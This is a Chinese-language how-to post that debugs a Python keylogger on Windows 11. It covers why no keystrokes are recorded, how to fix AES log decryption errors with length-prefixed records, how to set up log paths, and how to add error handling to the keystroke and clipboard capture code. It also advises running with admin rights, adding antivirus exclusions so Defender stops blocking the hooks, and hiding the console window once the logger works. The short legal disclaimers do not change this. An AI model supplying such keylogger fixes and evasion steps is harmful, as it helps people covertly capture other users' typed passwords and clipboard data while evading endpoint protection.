修复Win11 Python Keylogger不记录按键及解密错误
2025-05-03 01:08:06
修复 Windows 11 下 Python Keylogger 不记录按键及解密日志错误
开发一个基于 Python 的键盘记录器(Keylogger)时,你可能会遇到一个头疼的问题:脚本在 Windows 11 上运行,看起来没毛病,也不报错,但就是没记录下任何按键。更糟的是,如果你尝试解密之前可能记录下的(或者空的)日志文件,还会遇到像 Decryption Error: MAC check failed
、[ERROR] Mismatched entry length! Expected 23824, got 2307.
或者 [ERROR] Unrealistic entry length 47642, possible corruption.
这样的错误。这通常发生在使用 AES 加密日志,但解密环节出了岔子的时候。
这篇文章就来帮你分析一下,为啥你的 Python keylogger 在 Windows 11 上可能“罢工”,以及怎么解决那些恼人的日志解密错误。
问题出在哪儿?
导致 keylogger 不工作和解密失败的原因可能有好几个,咱们一个个来看:
- Windows 11 权限和安全机制: Windows 系统,特别是 Win11,对能监控用户输入的程序管得相当严。你的 keylogger 脚本需要足够的权限才能捕捉全局键盘事件。普通用户权限多半是不够的,而且像 Windows Defender 或其他杀毒软件、EDR(终端检测与响应)系统,很可能直接就把这种行为给拦截了。
pynput
库依赖底层的钩子(hooks),这些钩子恰好是安全软件重点盯防的对象。 - 日志文件结构问题: 代码里用
b"\n"
作为二进制加密数据块之间的分隔符写入文件 (log_file
)。这是个大问题!因为加密后的二进制数据(包含nonce
、ciphertext
和tag
)完全可能碰巧包含了0x0a
这个字节(也就是\n
的二进制表示)。当解密脚本按行读取 (for line in f:
) 时,遇到数据中间的0x0a
就会以为这一行结束了,导致读取的数据不完整。把这不完整的数据块喂给decrypt_log
函数,自然就会因为数据被截断而触发MAC check failed
(因为tag
不匹配或不完整)或者长度相关的错误。 - 日志条目长度处理不当: 中提到了尝试使用
[2-byte length]
前缀,但提供的代码并没有实现这个逻辑。错误信息Mismatched entry length!
和Unrealistic entry length
强烈暗示解密脚本读取数据时发生了错位或读到了损坏的数据。这与上面提到的b"\n"
分隔符问题高度相关,因为错误的分割会导致后续计算或校验失败。 - 文件路径或访问权限: 如果
log_file
和error_log_file
的路径(代码里的"path\..."
)不正确,或者脚本没有在那个位置创建/写入文件的权限,那么日志自然就写不进去。 - AES 密钥不一致: 加密和解密时用的
secret_key
必须是完全一样的字节序列。如果两边不匹配,解密肯定失败。 - 代码逻辑或依赖库问题: 虽然不太常见,但
pynput
或pyperclip
在特定环境下可能有兼容性问题。另外,on_press
或log_clipboard
内部如果发生未被捕获的异常,也可能导致日志记录中断。
怎么解决?
针对上面分析的原因,这里提供几个解决方案,你可以根据自己的情况试试。
方案一:搞定 Windows 权限和安全防护
原理: Keylogger 要干的活儿涉及到系统底层,需要高权限,还得绕过安全软件的拦截。
操作步骤:
- 以管理员身份运行: 最直接的方法。右键点击你的 Python 脚本或运行它的
cmd
/PowerShell
窗口,选择“以管理员身份运行”。- 命令行方式: 可以使用
runas
命令,或者创建一个具有管理员权限的计划任务来启动脚本。
- 命令行方式: 可以使用
- 检查安全软件: 打开 Windows 安全中心(或其他第三方杀毒软件)的防护历史记录或隔离区,看看你的脚本或
python.exe
是不是被拦截了。 - 添加排除项(需谨慎!): 如果你确信脚本是安全的,并且明白其中的风险,可以在安全软件里把你的脚本文件、或者它运行的目录添加到排除列表。注意: 这会降低系统安全性,请务必只在你完全控制的环境下,并且清楚自己在做什么时才这样做。
安全建议:
开发和使用 keylogger 涉及严重的隐私和法律风险。确保你只在完全合法授权的情况下,在自己拥有所有权的设备上进行测试。滥用 keylogger 是非法的,且极不道德。
方案二:修正日志文件结构和解密逻辑
原理: 不再使用容易引起歧义的 b"\n"
作为二进制数据分隔符。采用更可靠的“长度-值”(Length-Value, LV)格式来存储每条加密记录。每条记录前面先写它的长度,然后紧跟着写实际的加密数据。
操作步骤 (Keylogger 端 - keylogger.py
)
-
导入
struct
模块: 用于将长度打包成固定字节数。import struct
-
修改
write_log
函数:- 计算每条加密条目 (
entry = nonce + ciphertext + tag
) 的字节长度。 - 使用
struct.pack
把这个长度打包成一个固定大小的字节串(比如 4 字节无符号整数,大端序>I
)。 - 先向文件写入长度字节串,再写入加密数据本身。
- 不要 再写入
b"\n"
。 - 可以调用
f.flush()
强制将缓冲区内容写入磁盘,减少数据丢失风险。
# keylogger.py import struct # ... (其他代码保持不变) ... def write_log(): global log_buffer if log_buffer: try: # 使用 'ab' 模式打开文件 with open(log_file, "ab") as f: for entry in log_buffer: # entry 已经是 bytes 类型 (nonce + ciphertext + tag) entry_len = len(entry) # 将长度打包为 4 字节大端序无符号整数 len_bytes = struct.pack('>I', entry_len) # 先写入长度,再写入数据 f.write(len_bytes) f.write(entry) f.flush() # 确保数据写入磁盘 log_buffer = [] # 清空缓冲区 except Exception as e: error_message = f"Error writing to log file {log_file}: {e}" print(error_message) log_error(error_message) # 记录文件写入错误 # ... (其他代码保持不变) ...
- 计算每条加密条目 (
操作步骤 (解密端 - decrypt.py
)
-
导入
struct
模块:import struct
-
修改文件读取逻辑:
- 打开日志文件用
rb
模式。 - 在一个循环里:
- 先读取固定字节数(比如 4 字节)来获取下一条记录的长度。用
f.read(4)
。 - 检查是否读到了足够的字节,如果
read()
返回空字节串,说明到达文件末尾;如果返回字节数不足 4,说明文件可能已损坏或提前结束。 - 使用
struct.unpack
从读到的字节串中解包出长度值。 - 进行合理性检查 :判断解包出的长度是否在一个预期范围内(例如,大于 0 且小于某个比较大的值,比如 50KB)。异常的长度值通常意味着文件损坏或读取错位。
- 根据解包出的长度,使用
f.read(entry_len)
读取确切数量的字节作为加密数据。 - 检查这次
read()
是否真的读到了预期长度的数据,如果不够,说明文件末尾数据不完整。 - 将读到的加密数据传递给
decrypt_log
函数进行解密。 - 如果读取长度或数据时发生错误(比如
struct.error
或读到文件尾),应停止处理或记录错误并尝试恢复(后者较复杂)。
- 先读取固定字节数(比如 4 字节)来获取下一条记录的长度。用
# decrypt.py import struct from Crypto.Cipher import AES secret_key = b"--key--" # 确保和 keylogger.py 中的密钥完全一致! log_file = "path\keylogs.bin" # 确保路径正确 def decrypt_log(encrypted_data): # ... (解密函数本身不用改) ... try: nonce = encrypted_data[:16] ciphertext = encrypted_data[16:-16] tag = encrypted_data[-16:] cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce) decrypted_text = cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8") return decrypted_text except ValueError as e: # 更具体地捕获解密错误 # ValueError 通常是 MAC check failed 或解密数据问题 return f"Decryption Error (ValueError): {e} - Data length: {len(encrypted_data)}" except Exception as e: return f"Decryption Error (General): {e} - Data length: {len(encrypted_data)}" MAX_EXPECTED_ENTRY_LEN = 65536 # 设置一个合理的单个条目最大长度 (例如64KB) try: with open(log_file, "rb") as f: while True: # 1. 读取长度前缀 (4字节) len_bytes = f.read(4) if not len_bytes: # 正常到达文件末尾 break if len(len_bytes) < 4: print(f"[ERROR] Corrupt log file: Incomplete length field at offset {f.tell() - len(len_bytes)}. Stopping.") break try: # 2. 解包长度值 entry_len = struct.unpack('>I', len_bytes)[0] except struct.error: print(f"[ERROR] Corrupt log file: Invalid length field bytes {len_bytes.hex()} at offset {f.tell() - 4}. Stopping.") break # 3. 长度合理性检查 if entry_len == 0 or entry_len > MAX_EXPECTED_ENTRY_LEN: print(f"[ERROR] Unrealistic entry length {entry_len} found at offset {f.tell() - 4}. Possible corruption. Stopping.") # 可以尝试 f.seek() 跳过,但更安全是停止 break # 4. 读取实际的加密数据 encrypted_data = f.read(entry_len) if len(encrypted_data) < entry_len: print(f"[ERROR] Corrupt log file: Incomplete data chunk at offset {f.tell() - len(encrypted_data)}. Expected {entry_len} bytes, got {len(encrypted_data)}. Stopping.") break # 5. 解密并打印 decrypted_text = decrypt_log(encrypted_data) # 可以选择性地打印源数据长度或部分内容帮助调试 # print(f"Read entry (length: {entry_len} bytes). Decrypted:", decrypted_text) print(decrypted_text) # 只输出解密后的内容 except FileNotFoundError: print(f"[ERROR] Log file not found: {log_file}") except Exception as e: print(f"[ERROR] An unexpected error occurred during decryption process: {e}") # 注意:修改结构后,旧的日志文件将无法用新脚本解密。需要删除旧的 keylogs.bin 文件,让 keylogger 重新生成。
- 打开日志文件用
安全建议:
密钥 secret_key
不要硬编码在脚本里。考虑从配置文件、环境变量或安全的密钥管理系统中读取。直接放在代码里非常不安全。
进阶技巧:
对于非常长的日志,或者需要更高可靠性的场景,可以考虑在每条记录的长度字段旁边再加一个简单的校验和(如 CRC32)或者一个魔术数字(magic number),用来在读取时快速判断数据块是否有效或是否发生了读取错位。
方案三:确认文件路径和环境配置
原理: 确保脚本能找到并有权限写入日志文件所在的目录。
操作步骤:
-
使用绝对路径: 避免使用相对路径(如
"path\..."
),改成明确的绝对路径,例如C:\\Users\\YourUser\\Documents\\logs\\keylogs.bin
。或者动态生成绝对路径。 -
检查目录存在性与权限: 在脚本开始时,检查日志目录是否存在,如果不存在就尝试创建它。同时,确认运行脚本的用户对该目录有写入权限。
# keylogger.py (开头部分) import os import sys # --- 配置日志路径 --- # 建议使用绝对路径或基于脚本位置的路径 try: # 例如,将日志放在用户文档目录下的一个子目录里 log_dir = os.path.join(os.path.expanduser("~"), "Documents", "MyAppLogs") except Exception: # Fallback 或指定一个明确路径 log_dir = "C:\\temp\\keylogger_logs" # Windows 示例 log_file_name = "keylogs.bin" error_log_file_name = "error_logs.txt" log_file = os.path.join(log_dir, log_file_name) error_log_file = os.path.join(log_dir, error_log_file_name) # --- 确保目录存在 --- try: os.makedirs(log_dir, exist_ok=True) # exist_ok=True 使得目录已存在时不会报错 print(f"[*] Using log file path: {log_file}") print(f"[*] Using error log path: {error_log_file}") except OSError as e: print(f"[ERROR] Could not create log directory '{log_dir}': {e}") sys.exit(1) # 如果无法创建日志目录,直接退出可能比较好 # --- (可选)尝试写入测试,检查权限 --- try: test_file_path = os.path.join(log_dir, ".permission_test") with open(test_file_path, "w") as f_test: f_test.write("test") os.remove(test_file_path) print("[*] Write permissions to log directory verified.") except Exception as e: print(f"[ERROR] Cannot write to log directory '{log_dir}'. Please check permissions. Error: {e}") sys.exit(1) # 没有写权限也退出 # --- 其他原始代码 --- # secret_key = b"--key--" # ...
方案四:核对 AES 密钥
原理: 加密和解密必须使用完全相同的密钥字节串。
操作步骤:
- 仔细比对: 打开
keylogger.py
和decrypt.py
,找到secret_key = b"..."
这一行。确保两个文件里的字节串b"..."
内容一模一样,包括大小写和特殊字符(如果你的密钥里有的话)。 - 避免复制粘贴错误: 特别是涉及到特殊字节时,复制粘贴可能出错。最好是直接比较文件内容或从同一个源头赋值。
安全建议:
重复一遍,别把密钥硬编码。研究一下怎么从安全的地方(比如 Windows Credential Manager,或者一个受保护的配置文件)加载密钥。
方案五:加强错误捕获和日志记录
原理: 更详细地记录脚本内部发生的错误,有助于定位是哪个环节出了问题(是键盘监听?剪贴板?还是文件写入?)。
操作步骤:
-
细化异常捕获: 在
on_press
,log_clipboard
,write_log
等关键函数内部,用更具体的try...except
块包住可能出错的操作。 -
记录详细错误信息: 使用
log_error
函数(你已经有了)记录下异常类型和消息,以及发生错误时的一些上下文信息(比如哪个键导致了on_press
出错)。# keylogger.py # ... (log_error 函数已存在) ... def on_press(key): global log_buffer, current_sentence try: # ... (原始逻辑) ... if hasattr(key, "char") and key.char: # ... else: # ... # ... if text == "[ENTER]": # ... 加密等操作 ... try: encrypted_text = encrypt_log(f"{timestamp}: {current_sentence.strip()}") log_buffer.append(encrypted_text) current_sentence = "" except Exception as enc_e: error_message = f"Encryption failed in on_press: {enc_e}" print(error_message) log_error(error_message) # Decide if you want to skip logging this entry or handle differently # ... if len(log_buffer) >= 10: write_log() # write_log 内部已有基本的错误处理 except AttributeError as ae: # 特别处理按键没有'char'属性等pynput可能发生的状况 error_message = f"Attribute error processing key '{key}': {ae}" # 通常由特殊功能键触发,可能无需记录为错误,或者仅记录 [UNHANDLED_KEY:{key}] print(f"[*] Note: {error_message}") # log_error(error_message) # Optional: Log if needed except Exception as e: # 捕获其他所有未预料到的错误 error_message = f"Unexpected error in on_press for key '{key}': {e}" print(error_message) log_error(error_message) def log_clipboard(): global log_buffer recent_text = "" while True: try: clipboard_data = pyperclip.paste() if clipboard_data and clipboard_data != recent_text: # ... (加密和记录逻辑) ... try: timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") encrypted_clipboard = encrypt_log(f"{timestamp} [Clipboard]: {clipboard_data}") log_buffer.append(encrypted_clipboard) write_log() # 写入剪贴板日志 recent_text = clipboard_data except Exception as clip_enc_e: error_message = f"Encryption/logging failed for clipboard data: {clip_enc_e}" print(error_message) log_error(error_message) time.sleep(5) # 轮询间隔 except pyperclip.PyperclipException as pe: # pyperclip 可能有自己的异常类型 error_message = f"Pyperclip error accessing clipboard: {pe}" print(error_message) log_error(error_message) time.sleep(30) # 出错后等久一点再试 except Exception as e: # 捕获其他可能的错误 error_message = f"Unexpected error in clipboard logging thread: {e}" print(error_message) log_error(error_message) time.sleep(30) # 出错后等久一点再试
调试技巧:
如果是在开发调试阶段,可以暂时去掉隐藏窗口的代码 (ctypes.windll...
),让控制台可见,这样 print()
语句就能直接显示出来,方便看实时状态和错误。等功能稳定了再隐藏。
通过排查权限问题、修正日志结构,并辅以路径和密钥的检查,你的 Python keylogger 应该就能在 Windows 11 上重新开始记录按键,并且解密过程也能顺利进行了。记住,处理这类敏感操作时,务必谨慎并遵守法律法规。